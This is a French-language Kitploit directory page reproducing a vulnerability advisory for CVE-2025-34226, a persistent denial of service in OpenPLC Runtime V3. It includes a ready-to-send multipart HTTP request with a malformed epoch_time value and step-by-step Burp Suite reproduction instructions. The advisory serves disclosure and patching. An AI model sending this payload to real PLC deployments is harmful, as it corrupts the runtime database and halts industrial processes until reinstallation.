Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-34226 — OpenPLC Runtime souffre d'une vulnérabilité de déni de service (DoS) persistant dans le endpoint /upload-program-action. | Kitploit
Outils/GitHubGitHub/eyodav/cve-2025-34226
Analyse des VulnérabilitésExploitationSécurité SCADA/ICSExploitation d'Applications WebMauvaise ConfigurationSécurité des Bases de Données
GitHubeyodav/cve-2025-34226

CVE-2025-34226

OpenPLC Runtime souffre d'une vulnérabilité de déni de service (DoS) persistant dans le endpoint /upload-program-action.

Voir le dépôt
il y a 10 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2025-34226 : Déni de service persistant dans OpenPLC Runtime

Aperçu de la vulnérabilité

ChampValeur
CVE IDCVE-2025-34226
AffecteOpenPLC Runtime V3
Corrigé dans(commit) 095ee09623dd229b64ad3a1db38a901a3772f6fc
SévéritéÉlevée
CVSS 4.0CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N 7.1 (Élevé)
CWECWE-664 Contrôle inapproprié d'une ressource pendant sa durée de vie, CWE-20 Validation inappropriée des entrées

Résumé exécutif

OpenPLC Runtime souffre d'une vulnérabilité de déni de service (DoS) persistant dans le point d'accès /upload-program-action.
En modifiant le paramètre epoch_time lors du téléversement d'un programme, un utilisateur authentifié à faibles privilèges peut corrompre la base de données backend.
Cette corruption désactive d'abord les pages critiques et finit par empêcher tout le runtime de démarrer, rendant l'application inutilisable jusqu'à sa réinstallation.


Impact sur la sécurité

  • DoS persistant – Une fois déclenché, le système ne peut pas récupérer sans une réinstallation complète.
  • Corruption de la base de données – L'exploit introduit des valeurs invalides dans la base de données SQLite d'OpenPLC, corrompant l'état du runtime.
  • Perturbation opérationnelle – Dans les contextes ICS/OT, cela pourrait entraîner des temps d'arrêt des processus gérés par les PLC.
  • Contournement des validations – L'exploit contourne la validation des entrées, démontrant l'absence d'assainissement des paramètres critiques.

Détails techniques

Versions affectées

  • Versions vulnérables : OpenPLC Runtime ≤ v3 (pas la dernière version)
  • Version corrigée : corrigée par le commit 095ee09623dd229b64ad3a1db38a901a3772f6fc

Vecteur d'attaque

Le point d'accès /upload-program-action accepte un champ epoch_time qui est écrit directement dans la base de données sans validation.
Lorsque ce champ est défini sur une valeur forgée ou absurde (par exemple 1758627838 ou des données malformées), OpenPLC stocke un état incohérent.
Lors d'un rechargement ou d'un redémarrage du runtime, l'application interroge la ligne corrompue et rencontre un objet NoneType → crash fatal (TypeError: 'NoneType' object is not subscriptable).


Preuve de concept

PoC 1 : Requête de téléversement malveillante (Burp Suite Repeater)

root@kitploit:~
POST /upload-program-action HTTP/1.1
Host: TARGET:8080
Content-Type: multipart/form-data; boundary=----BOUNDARY
Cookie: session=[valid-session-cookie]

------BOUNDARY
Content-Disposition: form-data; name="prog_name"

test
------BOUNDARY
Content-Disposition: form-data; name="prog_descr"

test
------BOUNDARY
Content-Disposition: form-data; name="prog_file"; filename="demo.st"
Content-Type: text/plain

PROGRAM demo
END_PROGRAM
------BOUNDARY
Content-Disposition: form-data; name="epoch_time"

"Just edit here and it will work (e.g "Hello !")"
------BOUNDARY--

Étapes de reproduction

  1. Ouvrez Burp Suite
  2. Ouvrez le navigateur Burp Suite
  3. Allez sur l'interface OpenPLC
  4. Authentifiez-vous avec un compte à faibles privilèges.
  5. Téléversez un programme via /programs
  6. Choisissez un nom au hasard.
  7. Activez le proxy Burp Suite
  8. Envoyez la requête à Repeater
  9. Modifiez la section epoch_time et remplacez l'epoch_time d'origine par un caractère aléatoire comme « L »
  10. Envoyez la nouvelle requête forgée.
  11. Observez /programs et vous verrez qu'il ne fonctionne plus
  12. Ensuite, parfois lorsque OpenPLC redémarre, le runtime ne parvient pas à se lancer et il est impossible de redémarrer OpenPLC après cela.

Actions immédiates

  1. Mettez à niveau immédiatement OpenPLC V3

Références

  • Correctif/Notes de version : [Lien vers la dernière version officielle]
  • Historique de la vulnérabilité : [Lien vers l'historique de la vulnérabilité]

Crédits

Découvert par : Eyodav

Télécharger l’outil